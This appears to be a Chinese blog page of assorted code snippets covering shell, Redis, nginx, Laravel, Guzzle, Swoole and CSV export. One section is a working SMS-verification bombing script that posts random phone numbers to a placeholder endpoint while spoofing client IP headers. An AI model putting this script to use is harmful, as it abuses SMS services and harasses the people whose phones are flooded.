​​​​ 代码段收集 | 苏生不惑的博客

代码段收集

shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
echo -e "hell\bo"
echo -e "h\te\tl\nl\to\t"
echo -e "\x68\t\x65\t\x6c\n\x6c\t\x6f"
//30m=黑色,31m=红色,32m=绿色,33m=黄色,34m=蓝色,35m=洋红,36m=青色,37m=白色
[root@VM_0_14_centos fonts]# echo -e "\e[1;31m字符串\e[0m"
字符串
alias
alias 别名='原命令'
vim ~/.bashrc
source ~/.bashrc
unalias 别名
vim /etc/profile
HISTSIZE=1000
/dev/null 这个文件是系统的黑洞,输出信息写入这里面就没啦
一个判断命令是否正确执行的做法
ls && echo yes || echo no
netstat -an | grep ESTABLISHED | wc -l
`` 反引号括起来的内容是系统命令,在Bash中会先执行它。和$()作用一样,不过推荐$(),因为反引号容易看错
Bash中变量与PHP中的变量的区别是赋值不需要“$”,取值需要“$”

redis批量删除key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2.8.0以后redis提供scan来遍历key,而且这个过程是非阻塞,不会影响线上生产环境。最终经过修改的方案是用scan遍历要删除的key,然后调用del删除

import sys,redis

r = redis.Redis(host="127.0.0.1", port=6379,db=0)

if len(sys.argv) <= 1:
print("必须指明匹配key字符串")
exit(1)
pattern = sys.argv[1]

cursor = 0
num = 1
while 1 :
resut = r.scan(cursor, pattern, 10000)
del_keys = []
for i in resut[1]:
key = i.decode()
del_keys.append(key)
#print("del keys len :%d" % len(result))
if len(del_keys) == 0:
break
r.delete(*del_keys)
cursor = resut[0]
print("delete keys num : %dw" % (num))
num +=1

print("done\n")
python3 main.py "king*"

centos7安装redis3.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
wget http://download.redis.io/releases/redis-3.2.4.tar.gz

tar -xvf redis-3.2.4.tar.gz

cd redis-3.2.4

cat README.md

make

make install

mkdir /etc/redis

cp utils/redis.conf /etc/redis/

redis-server /etc/redis/redis.conf

vi /lib/systemd/system/redis.service
[Unit]
Description=redis service file
Wants=network.target

[Service]
Type=forking
ExecStart=/usr/local/bin/redis-server /etc/redis/redis.conf
[Install]
WantedBy=multi-user.target

vi /etc/redis/redis.conf
systemctl daemon-reload

#开机启动

systemctl enable redis.service

#启动redis

systemctl start redis.service

#关闭redis

systemctl stop redis.service

firewall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# systemctl start firewalld         # 启动,
# systemctl enable firewalld # 开机启动
# systemctl stop firewalld # 关闭
# systemctl disable firewalld # 取消开机启动
查看运行状态:

[root:~]# firewall-cmd –state
running

查看当前的区域:

[root:~]# firewall-cmd –get-default-zone
public

查看已被激活的区域信息:

[root:~]# firewall-cmd –get-active-zones
public
interfaces: eth0

查询eth0网卡的区域:

[root:~]# firewall-cmd –get-zone-of-interface=eth0
public
封禁 ip:
[root:~]#firewall-cmd --permanent --add-rich-rule="rule family='ipv4' source address='222.222.222.222' reject"
通过 ipset 来封禁 ip
[root:~]#firewall-cmd --permanent --zone=public --new-ipset=blacklist --type=hash:ip

[root:~]#firewall-cmd --permanent --zone=public --ipset=blacklist --add-entry=222.222.222.222

nginx反向代理解决跨域问题

1
2
3
4
5
6
7
8
9
10
11
12
2个站点,front.aaa.com和api.aaa.com。假设这里我们2个站点都用nginx搭建,front.aaa.com的nginx配置文件为front.conf,api.aaa.com的nginx的配置文件为api.conf。当front站点的页面ajax访问api站点的时候就会起因这个跨域问题。我们在front站点配置1个针对api的反向代理,配置如下:

server {
....
location /api/ {
rewrite ^/api/(.*) /$1 break;
proxy_pass http://api.aaa.com;
}
....

}
如此一来所有访问api的接口我们可以同构http://front.aaa.com/api/{realApi}来实现对后端接口的访问。

数据结构算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//https://laravel-china.org/topics/21967
$array = array(
'a' => array(
'a1' => array(
'a1_1' => array(
'a1_1_1' => array(),
),
'a1_2' => array(),
),
'a2' => array(
'a2_1' => array(),
'a2_2' => array(),
'a2_3' => array(),
)
),
'b' => array(),//...n+1
);
//print_r($array);

function fuck($data = array(), &$indirect_num = 0)
{
foreach ($data as $key => $item) {
if (is_array($item) && !empty($item)) {

$item = fuck($item, $indirect_num);

$indirect_num += $item['_direct_num'];
}
$data[$key] = $item;
}
//直接下级
$data['_direct_num'] = $direct_num = count($data);
//间接下级
$data['_indirect_num'] = $indirect_num;
//所有下级
$data['_count_num'] = $direct_num + $indirect_num;
//排序
ksort($data);
return $data;
}
print_r(fuck($array));

PHP 攻击短信验证码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
https://laravel-china.org/articles/22051
function curl_post($url, array $params = array(),$ip, $timeout)
{
$this_header = array(
"charset=UTF-8",
'X-FORWARDED-FOR:'.$ip,
'CLIENT-IP:'.$ip
);
$ch = curl_init();//初始化
curl_setopt($ch, CURLOPT_URL, $url);//抓取指定网页
curl_setopt($ch,CURLOPT_HTTPHEADER,$this_header);
curl_setopt($ch, CURLOPT_HEADER, 0);//设置header
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);//运行curl
curl_close($ch);
return ($data);
}
swoole_timer_tick(2000, function ($timer_id) {
$ip = get_rand_ip();
$phone = getPhone();
//这里添加短信验证码接口ur,并传入对应手机号参数(参数key看你要攻击的接口是啥,我这里是phone)
$res = curl_post('替换成短信接口url',['phone'=>$phone],$ip,30);
if($res == '0'){
echo '验证码发送成功phone:'.$phone.'time:'.date('Y-m-d H:i:s').' 虚拟ip:'.$ip.PHP_EOL;
}else{
echo $res.PHP_EOL;
}
});

function getPhone()
{
$arr = array(
130,131,132,133,134,135,136,137,138,139,
144,147,
150,151,152,153,155,156,157,158,159,
176,177,178,
180,181,182,183,184,185,186,187,188,189,
);
return $arr[array_rand($arr)].mt_rand(1000,9999).mt_rand(1000,9999);
}

function get_rand_ip(){
$arr_1 = array("218","218","66","66","218","218","60","60","202","204","66","66","66","59","61","60","222","221","66","59","60","60","66","218","218","62","63","64","66","66","122","211");
$randarr= mt_rand(0,count($arr_1));
$ip1id = $arr_1[$randarr];
$ip2id= round(rand(600000, 2550000) / 10000);
$ip3id= round(rand(600000, 2550000) / 10000);
$ip4id= round(rand(600000, 2550000) / 10000);
return $ip1id . "." . $ip2id . "." . $ip3id . "." . $ip4id;
}

get_object_vars

1
2
3
4
5
array get_object_vars ( object $obj ) 返回由 obj指定的对象中定义的属性组成的关联数组。

如果是关联数组:数组转对象可以直接用(object)();对象转数组则要用get_object_vars();

如果是索引数组:数组转对象可以直接用(object)();对象转数组直接用(array)();

进制转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 十进制转二进制的方法:除2取余,逆序排列, https://blog.csdn.net/shirley_sweet/article/details/73896279
def change(n):
result = '0'
if n == 0: # 输入为0的情况
return result
else:
result = change(n // 2) # 调用自身
return result + str(n % 2)

def decimal_to_binary(decimal_val):
'''
十进制转为二进制
:param decimal_val:
:return:
'''
print('transfer %d to binary' % decimal_val)
recursion_result = change(decimal_val)
print('递归实现转换结果:', recursion_result)

def binary_to_decimal_func(val):
'''
按照定义来实现,即 2^n 的形式
:param val: str
:return:
'''
print('original val: ', val)
numbers = len(val)
result = 0
for i in range(numbers):
result += int(val[i]) * pow(2, numbers - i - 1)
return result


def binary_to_decimal(val):
'''
二进制转十进制
:param val:
:return:
'''
decimal2 = binary_to_decimal_func(str(val))
print('第二种转换二进制为十进制:', decimal2)

计算当前时间最近的 5 或 10 分钟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//https://ourcodeworld.com/articles/read/756/how-to-round-up-down-to-nearest-10-or-5-minutes-of-datetime-in-php
public function roundToNearestMinuteInterval(\DateTime $dateTime, $minuteInterval = 10)
{
return $dateTime->setTime(
$dateTime->format('H'),
round($dateTime->format('i') / $minuteInterval) * $minuteInterval,
0
);
}
$date = new DateTime("2018-06-27 20:37:00");

$date = roundToNearestMinuteInterval($date);

// Rounded from 37 minutes to 40
// 2018-06-27 20:40:00
echo $date->format("Y-m-d H:i:s");

基于 swoole 协程的 MySQL 连接池

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
// +----------------------------------------------------------------------
// | Created by PhpStorm
// +----------------------------------------------------------------------
// | Date: 19-1-4 上午9:42 https://laravel-china.org/articles/21979
// +----------------------------------------------------------------------
// | Author: woann <304550409@qq.com>
// +----------------------------------------------------------------------
class MysqlPool{
private $pool; //连接池容器
public static $instance = null; //实例
private $config = [
'max_num' => 100,
'host' => '127.0.0.1',
'port' => 3306,
'user' => 'user',
'password' => 'password',
'database' => 'dbname',
];
//防止手欠在外部实例化,将构造函数私有化
private function __construct()
{
}

/**
* @author woann<304550409@qq.com>
* @des 初始化
*/
function init()
{
$this->pool = new chan($this->config["max_num"]);//用channel来作为连接池容器
for ($i = 0; $i < $this->config["max_num"]; $i++) {
$mysql = new Swoole\Coroutine\MySQL();
$res = $mysql->connect([
'host' => '127.0.0.1',
'port' => 3306,
'user' => 'root',
'password' => 'wqg951122',
'database' => 'test',
]);
if ($res == false) {
throw new RuntimeException("failed to connect mysql server");
}
$this->release($mysql);
}
}

/**
* @author woann<304550409@qq.com>
* @return MysqlPool|null
* @des 获取连接池实例
*/
static public function getInstance()
{
if (self::$instance == null) {
$mysqlpool = new MysqlPool();
$mysqlpool->init();
self::$instance = $mysqlpool;
}

return self::$instance;
}

/**
* @author woann<304550409@qq.com>
* @return mixed
* @des 获取链接
*/
function get()
{
return $this->pool->pop();
}

/**
* @author woann<304550409@qq.com>
* @param $mysql
* @des 回收链接
*/
function release($mysql)
{
$this->pool->push($mysql);
}

}
require_once "MysqlPool.php";//引入连接池类

$server = new Swoole\Http\Server("127.0.0.1", 9501);//创建httpserver

$server->set([
'worker_num' => 1,
]);

$server->on('Request', function($request, $response) {
$pool = MysqlPool::getInstance();//获取连接池实例
$conn = $pool->get();//获取链接
$stmt = $conn->prepare('SELECT * FROM usertb WHERE id = ?'); //预处理
if ($stmt == false) {
var_dump($conn->errno, $conn->error);
}
$res = $stmt->execute(array(9988));//绑定参数 执行sql
$pool->release($conn);//释放回收链接
$response->end(json_encode($res));//将查询结果转成json格式输出到浏览器
});
$server->start();

Linux 笔记分享四:Shell 基础

redis批量删除key

程序员的数学笔记1–进制转换

laravel 事件指定队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
https://laravel-china.org/articles/15338/laravel50-event-specifies-queue-names
https://www.jiangxianli.com/?p=68
protected $listen = [
'Shark\Events\Product\StockChangeEvent' => [
'Shark\Listeners\Product\StockChangeListener',
],
'Shark\Events\Product\ProductAddEvent' => [
'Shark\Listeners\Product\ProductListener',
'Shark\Listeners\Product\ProductAddListener',
],
];
Event::fire(new StockChangeEvent(1, 1));
//event(new StockChangeEvent(1, 1));
namespace app\Handlers;

use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Contracts\Queue\ShouldBeQueued;
use app\UpdateUserMessageEvent;

class UpdateUserMessageHandler implements ShouldBeQueued
{

use InteractsWithQueue;
// 将事件监听推送到指定队列执行
public $queue = 'example';
// 延时执行时间
public $delay = 5;

/**
* Create the event handler.
*
* @return void
*/
public function __construct()
{

}

/**
* Handle the event.
*
* @param App\UpdateUserMessageEvent $event
* @return void
*/
public function handle(UpdateUserMessageEvent $event)
{
$event->update();
}

public function queue($queue, $job, $data)
{
dump($job, $data,$this->queue,$this->delay);//Illuminate\Events\CallQueuedHandler@call
dump($data);
/*
array:3 [
"class" => "app\Handlers\UpdateUserMessageHandler"
"method" => "handle"
"data" => "a:1:{i:0;O:44:"app\UpdateUserMessageEvent":1:{s:7:"@*@uids";a:2:{i:0;s:4:"5656";i:1;s:4:"8888";}}}"
]
*/
dump($this->queue,$this->delay);//example 5

if (isset($this->queue, $this->delay)) {
return $queue->laterOn($this->queue, $this->delay, $job, $data);
}

if (isset($this->queue)) {
return $queue->pushOn($this->queue, $job, $data);
}

if (isset($this->delay)) {
return $queue->later($this->delay, $job, $data);
}

return $queue->push($job, $data);
}

}

记录guzzle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

namespace App\Services;

use Illuminate\Http\Request;
use GuzzleHttp\Event\EmitterInterface;
use GuzzleHttp\Event\BeforeEvent;
use GuzzleHttp\Event\CompleteEvent;
use GuzzleHttp\Event\EndEvent;
use GuzzleHttp\Event\Emitter;

class GuzzleEmitter extends Emitter
{
public function __construct($rs_info = 'api_time')
{
$start = 0;
$this->on('before', function (BeforeEvent $event, $name) use(&$start, $rs_info){
$start = microtime(true);
});
$this->on('end', function (EndEvent $event) use(&$start, $rs_info){
if ($event->getException()) {
$this->sysLog(['rs' => $event->gettransferInfo()['url'], 'cmd' => $event->getRequest()->getmethod(), 'code' => $event->gettransferInfo()['http_code'], 'rs_info' => $rs_info, 'rs_type' => 1, 't_total' => intval((microtime(true)-$start)*1000), 'p_ip' => $event->gettransferInfo()['primary_ip'], 'msg' => $event->getException()->getMessage()]);
} else {
$method=$event->getRequest()->getmethod();
$post_data=($method=='POST')?((string)$event->getRequest()->getBody()):'';
$this->sysLog([
'rs' => $event->gettransferInfo()['url'],
'cmd' => $method,
'code' => $event->gettransferInfo()['http_code'],
'rs_info' => $rs_info,
'rs_type' => 1,
't_total' => intval((microtime(true)-$start)*1000),
'p_ip' => $event->gettransferInfo()['primary_ip'],
'rs_content'=>$post_data,
]);
}
});
}

private function sysLog($data)
{
openlog('guzzle',LOG_PID|LOG_ODELAY,LOG_LOCAL7);
syslog(LOG_INFO,json_encode($data));
closelog();
}
}

记录Redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
//基于predis
namespace App\Services;

use \Predis\Command\CommandInterface;
use \Predis\Connection\StreamConnection;

class RedisLog extends StreamConnection
{
private $tstart = 0;
private $debugBuffer = array();

public function connect()
{
$this->tstart = microtime(true);

parent::connect();
}

private function storeDebug(CommandInterface $command, $direction)
{
$firtsArg = $command->getArguments();
$timestamp = (microtime(true) - $this->tstart) * 1000;
$log = [];
$log['cmd'] = $command->getId();
$log['key'] = isset($firtsArg) ? $firtsArg : ' ';
$log['server'] = "$direction $this";
$log['time'] = $timestamp;
$this->sysLog(['rs' => trim($log['server']), 'cmd' => $command->getId(), 'rs_info' => $log['key'], 'rs_type' => 2, 't_total' => $timestamp, 'msg' => ['host' => explode(':', trim($log['server']))[0], 'port' => explode(':', trim($log['server']))[1]]]);
// dump($log);
// $this->debugBuffer[] = &$log;
unset($log);
}

public function writeRequest(CommandInterface $command)
{
parent::writeRequest($command);

// $this->storeDebug($command, '->');
}

public function readResponse(CommandInterface $command)
{
$response = parent::readResponse($command);
$this->storeDebug($command, '');

return $response;
}

public function getDebugBuffer()
{
return $this->debugBuffer;
}

public static function debug()
{
$options = array(
'connections' =>[
'tcp' => '\App\Services\RedisLog',
],
);

$client = new \Predis\Client(config('database.redis.log'), $options);
$client->get('redis:debug:test');

var_export($client->getConnection());
/* OUTPUT:
array (
0 => 'SELECT 15 -> 127.0.0.1:6379 [0.0008s]',
1 => 'SELECT 15 <- 127.0.0.1:6379 [0.001s]',
2 => 'SET foo -> 127.0.0.1:6379 [0.001s]',
3 => 'SET foo <- 127.0.0.1:6379 [0.0011s]',
4 => 'GET foo -> 127.0.0.1:6379 [0.0013s]',
5 => 'GET foo <- 127.0.0.1:6379 [0.0015s]',
6 => 'INFO -> 127.0.0.1:6379 [0.0019s]',
7 => 'INFO <- 127.0.0.1:6379 [0.0022s]',
)
*/
}
}
cat config/database.php

'options' => [
'replication' => true,
'connections' =>[
'tcp' => '\App\Services\RedisLog',
],
],

监控redis对应队列消息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
https://laravel-china.org/articles/4479/analysis-of-laravel-queue-usage
tail -f | redis-cli -h 10.94.120.13 -p 6380 monitor | grep "queues:snail"

1492446053.406282 [0 10.95.117.155:57132] "WATCH" "queues:snail:SendMessage:delayed"
1492446053.406452 [0 10.95.117.155:57132] "ZRANGEBYSCORE" "queues:snail:SendMessage:delayed" "-inf" "1492446053"
1492446053.406754 [0 10.95.117.155:57132] "WATCH" "queues:snail:SendMessage:reserved"
1492446053.406842 [0 10.95.117.155:57132] "ZRANGEBYSCORE" "queues:snail:SendMessage:reserved" "-inf" "1492446053"
1492446053.407029 [0 10.95.117.155:57132] "LPOP" "queues:snail:SendMessage"
1492446053.407700 [0 10.95.117.155:57132] "ZADD" "queues:snail:SendMessage:reserved" "1492446113" "{job}"
1492446053.463953 [0 10.95.117.155:57132] "ZREM" "queues:snail:SendMessage:reserved" "{job}"

laravel这边的延迟队列使用了三个队列。

queue:default:delayed // 存储延迟任务
queue:default // 存储“生”任务,就是未处理任务
queue:default:reserved // 存储待处理任务
任务在三个队列中进行轮转,最后一定进入到queue:default:reserved,并且成功后把任务从这个队列中删除。

laravel5.1 使用了watch来控制队列的原子操作,但由于codis本身不支持 watch 方法。所以使用codis不能完全体验队列功能:延迟队列不支持、不支持数据重跑,对线上数据比较严格操作谨慎使用。

laravel5.3 之后redis队列 开始使用lua脚本支持的队列原子操作,它没有使用 watch multi等操作,所以如果线上codis 支持lua的话,可以完整体验到队列功能。

使用写库读数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$user = DB::selectFromWriteConnection('select * from users where id=42111');
User::onWriteConnection()->find($id);
cat config/database.php
'sticky' => true, // laravel 5.5 新增
$sql = 'select * from a';
DB::select($sql, [], false);
#在 config/database.php 配置文件里面配置读库
'write' => [
'driver' => 'mysql',
'host' => env('DB_WRITE_HOST', 'localhost'),
'database' => env('DB_DATABASE', 'forge'),
'username' => env('DB_USERNAME', 'forge'),
'password' => env('DB_PASSWORD', ''),
'charset' => 'utf8',
'collation' => 'utf8_unicode_ci',
'prefix' => '',
'strict' => false,
],
#手动链接主库查询
DB::connection('write')->table('a')->get();
$pdo = DB::connection()->getPdo();
$data=DB::connection()->setPdo($pdo)->table('a')->get();

Excel 导出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
class ExcelExport
{
//字段对应的标题https://github.com/xcjiu/php-excel
private $title = [];
//文件名
private $filename = '';
//字段值过滤器
private $filter = [];
//存储文件的临时目录
private $stodir = '../tmp/';
/**
* 生成 excel 数据表文件
* @param array $data 要导出的数据
* @return bool
*/
public function excel($data=[], $i=1)
{
set_time_limit(0);
header("Content-type: text/html; charset=utf-8");
if($data && is_array($data)){
$filename = $this->filename ? $this->filename : date('Y_m_d');
$filter = $this->filter;
$current = current($data);
if(is_array($current)){
$filePath = $this->stodir . $filename . "($i)" . '.csv';
$fp = fopen($filePath, 'a');
fputcsv($fp, $this->titleColumn(array_keys($current)));
foreach ($data as &$row) {
foreach ($row as $k => &$v) {
if(isset($filter[$k])){
if($filter[$k]=='datetime'){
$v = date("Y-m-d H:i:s",$v);
}
if($filter[$k]=='date'){
$v = date("Y-m-d",$v);
}
if(is_array($filter[$k])){
$v = isset($filter[$k][$v]) ? $filter[$k][$v] : $v;
}
}
}
fputcsv($fp, $row);
}
fclose($fp);
unset($data);
return true;
}
}
return false;
}
/**
* 打包好zip文件并导出
* @param [type] $filename [description]
* @return [type] [description]
*/
public function fileload()
{
$zipname = "../" . $this->filename. '.zip';
$zipObj = new ZipArchive();
if($zipObj->open($zipname, ZipArchive::CREATE) === true){
$res = false;
foreach(glob($this->stodir . "*") as $file){
$res = $zipObj->addFile($file);
}
$zipObj->close();
if($res){
header ("Cache-Control: max-age=0");
header("Content-Description: File Transfer");
header("Content-Disposition: attachment;filename =" . $zipname);
header('Content-Type: application/zip');
header('Content-Transfer-Encoding: binary');
header ('Content-Length: ' . filesize($zipname));
@readfile($zipname);//输出文件;
//清理临时目录和文件
$this->deldir($this->stodir);
@unlink($zipname);
ob_flush();
flush();
}else{
$this->deldir($this->stodir);
ob_flush();
flush();
die('暂无文件可下载!');
}
}else{
$this->deldir($this->stodir);
ob_flush();
flush();
die('文件压缩失败!');
}
}
/**
* 清理目录,删除指定目录下所有内容及自身文件夹
* @param [type] $dir [description]
* @return [type] [description]
*/
private function deldir($dir)
{
if(is_dir($dir)){
foreach(glob($dir . '*') as $file){
if(is_dir($file)) {
deldir($file);
@rmdir($file);
} else {
@unlink($file);
}
}
@rmdir($dir);
}
}
/**
* 设置标题
* @param array $title 标题参数为字段名对应标题名称的键值对数组
* @return obj this
*/
public function title($title)
{
if($title && is_array($title)){
$this->title = $title;
}
return $this;
}
/**
* 设置导出的文件名
* @param string $filename 文件名
* @return obj this
*/
public function filename($filename)
{
$this->filename = date('Y_m_d') . (string)$filename;
if(!is_dir("../" . $this->filename)){
mkdir("../" . $this->filename);
}
$this->stodir = "../" . $this->filename . "/";
return $this;
}
/**
* 设置字段过滤器
* @param array $filter 文件名
* @return obj this
*/
public function filter($filter)
{
$this->filter = (array)$filter;
return $this;
}
/**
* 确保标题字段名和数据字段名一致,并且排序也一致
* @param array $keys 要显示的字段名数组
* @return array 包含所有要显示的字段名的标题数组
*/
protected function titleColumn($keys)
{
$title = $this->title;
if($title && is_array($title)){
$titleData = [];
foreach ($keys as $v) {
$titleData[$v] = isset($title[$v]) ? $title[$v] : $v;
}
return $titleData;
}
return $keys;
}
}
$limit = 10000; //一次查询一万条记录

$filename = 'login_log';

$title = ['id'=>'ID','user_id'=>'用户id','plat'=>'渠道','username'=>'用户名','sex'=>'性别','ip'=>'用户ip','register_time'=>'注册时间'];

$filter = ['register_time'=>'datetime'];

$con = mysqli_connect('127.0.0.1','root','pass','dbname') or die('数据库连接不上');

$countSql = "select count(*) from user";

$count = mysqli_fetch_assoc(mysqli_query($con,$countSql));

$total = $count['count(*)'];

$excelObj = (new ExcelExport())->filename($filename)->title($title)->filter($filter);

for ($i=0; $i < ceil($total/$limit); $i++) { //分段查询, 一次$limit=10000条
$offset = $i * $limit;
$dataSql = "select * from user limit $limit offset $offset";
$result = mysqli_query($con, $dataSql);
$data = [];
while ($row = mysqli_fetch_assoc($result)) {
$data[] = $row;
}
$res = $excelObj->excel($data, $i+1); //生成多个文件时的文件名后面会标注'($i+1)'
}
mysqli_close($con);
$excelObj->fileload();

使用Guzzle进行API测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
//https://www.jianshu.com/p/3de203392ec4
php composer.phar require guzzlehttp/guzzle:~6.0
composer global require "phpunit/phpunit=5.5.*"

新建一个单元测试
php artisan make:test ReplyTest --unit
单独执行某个测试
phpunit tests/Unit/ReplyTest.php
#cat tests/TestCase.php
<?php

namespace Tests;

use Illuminate\Foundation\Testing\TestCase as BaseTestCase;

abstract class TestCase extends BaseTestCase
{
use CreatesApplication;
}
cat tests/Unit/ReplyTest.php
<?php
namespace Tests\Unit;
use Tests\TestCase;
use Illuminate\Foundation\Testing\RefreshDatabase;
class ReplyTest extends TestCase
{
//https://www.jianshu.com/p/3de203392ec4
protected $client;

public function setUp()
{
$this->client = new \GuzzleHttp\Client( [
'base_uri' => 'http://httpbin.org',
'http_errors' => false, #设置成 false 来禁用HTTP协议抛出的异常(如 4xx 和 5xx 响应),默认情况下HTPP协议出错时会抛出异常。
]);
}

public function testAction1()
{
$response = $this->client->get('/ip');
$body = $response->getBody();

//添加测试
$this->assertEquals(200, $response->getStatusCode());
$data = json_decode($body, true);dump($data);
$this->assertArrayHasKey('origin', $data);
//$this->assertArrayHasKey('errormsg', $data);
//$this->assertArrayHasKey('data', $data);
//$this->assertEquals(0, $data['origin']);
$this->assertInternalType('string', $data['origin']);
}

public function testAction2()
{
$response = $this->client->post('/post', [
'form_params' => [
'name' => 'myname',
'age' => 20,
],
]);
$body = $response->getBody();

//添加测试
$this->assertEquals(200, $response->getStatusCode());
$data = json_decode($body, true);
$this->assertArrayHasKey('errorno', $data);
$this->assertArrayHasKey('errormsg', $data);
$this->assertArrayHasKey('data', $data);
$this->assertEquals(0, $data['errorno']);
$this->assertInternalType('array', $data['data']);
}

}
$ phpunit tests/unit/MyApiTest.php
PHPUnit 6.5.3 by Sebastian Bergmann and contributors.

array:1 [
"origin" => "61.135.152.130"
]
.F 2 / 2 (100%)

Time: 1.54 seconds, Memory: 12.00MB

There was 1 failure:

1) Tests\Unit\MyApiTest::testAction2
Failed asserting that an array has the key 'errorno'.

D:\php_study\PHPTutorial\WWW\laravel\tests\Unit\MyApiTest.php:46

FAILURES!
Tests: 2, Assertions: 5, Failures: 1.

guzzle并发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
use GuzzleHttp\Client;
use Illuminate\Console\Command;
use Psr\Http\Message\ResponseInterface;
use GuzzleHttp\Exception\RequestException;
use GuzzleHttp\Promise;
$client = new Client([
// 基URI https://www.goozp.com/article/56.html
'base_uri' => 'http://httpbin.org',
// 设置默认请求参数
'timeout' => 2.0,
]);
$promise = $client->requestAsync('GET', 'http://httpbin.org/get');
$promise->then(
function (ResponseInterface $res) {
echo $res->getStatusCode() . "\n";
},
function (RequestException $e) {
echo $e->getMessage() . "\n";
echo $e->getRequest()->getMethod();
}
);
// 初始化每一个非阻塞请求
$promises = [
'image' => $client->getAsync('/image'),
'ip' => $client->getAsync('/ip'),
'png' => $client->getAsync('/image/png'),
'jpeg' => $client->getAsync('/image/jpeg'),
'webp' => $client->getAsync('/image/webp')
];

// 等待请求完成
$results = Promise\unwrap($promises);dump($results['ip']->getBody()->getContents());

// 通过键名接收每一个结果
// function.
dump($results['image']->getHeader('Content-Length')) ;
dump($results['png']->getHeader('Content-Length')) ;

Guzzle:PHP的HTTP客户端

ab 登录

1
2
3
4
5
先用账户和密码登录
用开发者工具找到标识这个会话的Cookie值(Session ID)记下来
执行命令:
一个Cookie情况时:ab -n 100 -C key=value http://test.com/
多个Cookie情况时,设置Header:ab -n 100 -H “Cookie: Key1=Value1; Key2=Value2” http://test.com/

查看16进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
echo 'welcome' > file1
$ hexdump file1
0000000 6577 636c 6d6f 0a65
0000008
$ hexdump -C file1
00000000 77 65 6c 63 6f 6d 65 0a |welcome.|
00000008
$ od -x file1
0000000 6577 636c 6d6f 0a65
0000010

$ od -xc file1
0000000 6577 636c 6d6f 0a65
w e l c o m e \n
0000010
$ xxd file1
0000000: 7765 6c63 6f6d 650a welcome.
$ cat file2
000000: 7765 6c63 6f6d 650a
$ xxd -r file2
welcome

消息队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
